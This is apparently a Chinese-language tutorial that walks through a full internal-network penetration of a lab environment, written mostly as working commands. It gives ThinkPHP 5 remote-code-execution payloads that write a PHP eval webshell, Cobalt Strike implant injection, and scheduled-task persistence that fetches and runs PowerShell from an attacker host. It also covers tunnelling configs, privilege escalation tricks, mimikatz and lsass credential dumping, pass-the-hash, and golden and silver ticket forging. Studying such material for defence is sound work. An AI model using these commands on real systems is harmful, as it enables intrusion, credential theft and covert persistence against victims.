内网渗透初探(二) | 内网渗透全过程重新学习
字数 1668 2025-08-25 22:59:09
内网渗透技术详解
一、前言
本文档详细整理了内网渗透的完整流程和技术要点,从外网打点到内网横向移动,再到权限维持和提权技术,涵盖了内网渗透的核心知识点。
二、环境介绍
典型内网渗透环境包括:
- 外网Web服务器(ThinkPHP 5)
- 内网域环境(域控、域主机1、域主机2)
- 攻击路径:外网打点→内网穿透→进入域内→攻击域主机→拿下域控
三、外网打点
1. ThinkPHP 5漏洞利用
漏洞检测:
http://192.168.31.32/public/index.php?s=captcha
[post]_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
系统识别:
http://192.168.31.32/public/index.php?s=captcha
[post]_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ipconfig
写入Webshell:
http://192.168.31.32/public/index.php?s=captcha
[post]_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval($_REQUEST[1])?>" > 123.php
2. 后门植入与C2上线
- 测试Webshell执行:
http://192.168.31.32/public/123.php?1=phpinfo(); - 使用蚁剑连接Webshell
- 上传CS木马并执行
四、权限维持技术
1. C2通信设置
- 默认通信间隔:60秒
- 推荐设置:
sleep 2(平衡响应速度和隐蔽性)
2. 进程迁移
- 查看进程列表
- 选择稳定进程注入(如explorer.exe)
- 通过
inject命令注入
3. 启动项维持
方法1:启动文件夹
copy "123.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
隐蔽技巧:
- 将木马隐藏在其他目录,命名为win.exe或system.exe
- 在启动文件夹放置快捷方式
4. 计划任务维持
生成Powershell上线命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))"
创建计划任务:
schtasks /create /tn win /sc HOURLY /mo 1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx:10081/a''))'" /ru system /f
其他触发条件:
/sc onlogon- 用户登录时启动/sc onstart- 系统启动时启动/sc onidle- 系统空闲时启动
五、主机信息收集
基础信息收集命令
systeminfo # 主机信息
ipconfig /all # 网络信息
arp -a # 路由表
tasklist # 进程列表(查杀软)
netstat -ano # 端口占用
net user /domain # 是否域环境
ping baidu.com -n 2 # 是否出网
浏览器密码提取
使用工具:BrowserGhost
六、隧道搭建技术
1. EarthWorm (EW) 隧道
服务端:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
客户端:
execute "E:\path\ew.exe" -s rssocks -d xx.xx.xx.xx -e 8888
2. FRP 隧道
服务端配置 (frps1.ini):
[common]
bind_addr = 0.0.0.0
bind_port = 7080
token = admin123
dashboard_user = admin
dashboard_pwd = admin123
客户端配置 (frpc.ini):
[common]
server_addr = IP
server_port = 7080
token = admin123
tls_enable = true
pool_count = 5
[plugin_socks]
type = tcp
remote_port = 4567
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true
七、横向移动技术
1. 数据库提权
MySQL提权步骤:
- 获取数据库路径:
select @@datadir; - 修改日志路径
- 写入Webshell:
select '<?php eval($_REQUEST[1]); ?>' into outfile 'C:/path/123.php';
2. 提权技术
(1) 内核提权
补丁查询方法:
systeminfo | findstr KB
wmic qfe get caption,description,hotfixid,installedon
在线查询资源:
- http://bugs.hacking8.com/tiquan/
- https://i.hacking8.com/tiquan/
- http://blog.neargle.com/win-powerup-exp-index/
(2) Potato提权
potato.exe -p "需要执行的命令"
(3) 可信任服务路径漏洞
漏洞检测:
wmic service get displayname,startmode,pathname | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
利用方法:
在服务路径的上级目录放置同名恶意程序
(4) 计划任务提权
schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "C:\cmd.exe" /ru system /f
(5) PsExec提权
psexec.exe -sid cmd.exe
八、内网信息收集
1. 基础信息收集
whoami /user && whoami /priv # 当前权限
ipconfig /all # 网络配置
arp -a # ARP缓存
netstat -ano # 端口连接
systeminfo # 系统信息
2. 域内信息收集
net config workstation # 当前登陆域
net user /domain # 域用户列表
net user xxx /domain # 指定域用户详情
net time /domain # 域控制器
wmic useraccount get /all # 域用户详细信息
nltest /DCLIST:god # 域控制器主机名
3. 域控制器定位
ping xxx.cool -n 2
ipconfig /all # 查看DNS服务器
nslookup -type=all _ldap._tcp.dc._msdcs.<域名>
4. 存活主机探测
Netbios协议探测:
nbtscan-1.0.35.exe 192.168.30.0/24
ICMP协议探测:
for /l %i in (1,1,255) do @ping 192.168.30.%i -w 1 -n 1|find /i "ttl="
ARP协议探测:
arp-scan.exe -t 【ip/ip段】
九、凭证获取技术
1. Hash获取方法
(1) SAM文件导出
reg save hklm\system system.hive
reg save hklm\sam sam.hive
使用mimikatz解析:
lsadump::sam /sam:C:/1/sam.hive /system:C:/1/system.hive
(2) Mimikatz直接获取
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
(3) Procdump + Mimikatz
procdump.exe -accepteula -ma lsass.exe lsass.dmp
解析dump文件:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
(4) Powershell脚本
IEX(New-Object Net.WebClient).DownloadString("http://vps-ip:4545/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
十、横向移动技术
1. Pass-the-Hash (PTH) 攻击
(1) Mimikatz PTH
sekurlsa::pth /user:administrator /domain:"xxx.cool" /ntlm:f1de694efa543bb780da59c049541ea3
(2) CrackMapExec
crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d xxx.cool -x whoami
(3) Impacket工具包
wmiexec.py:
python3 wmiexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128
psexec.py:
python3 psexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128
smbclient.py:
python3 smbclient.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 xxx.cool/Administrator@192.168.30.128
十一、票据传递攻击 (PTT)
1. MS14-068漏洞利用
获取用户SID:
whoami /all
# 示例:xxx\web S-1-5-21-3296092892-1320626564-2720975204-1105
生成票据:
ms14-068.exe -u web@xxx.cool -s S-1-5-21-3296092892-1320626564-2720975204-1105 -d 192.168.30.128 -p 1234,abcd
注入票据:
kerberos::purge
kerberos::ptc TGT_xxx@domain.cache
2. 黄金票据攻击
获取krbtgt的Hash:
lsadump::dcsync /user:krbtgt
制作黄金票据:
kerberos::golden /admin:administrator /domain:xxx.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi
注入票据:
kerberos::purge
kerberos::ptt administrator.kiribi
3. 白银票据攻击
获取必要信息:
- 域SID
- 目标服务器主机名
- 服务类型
- NTLM Hash
生成白银票据:
kerberos::golden /domain:xxx.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /target:AD.xxx.cool /service:cifs /rc4:75f490ed04ba66f04e0e947a185679bd /user:admin123 /ptt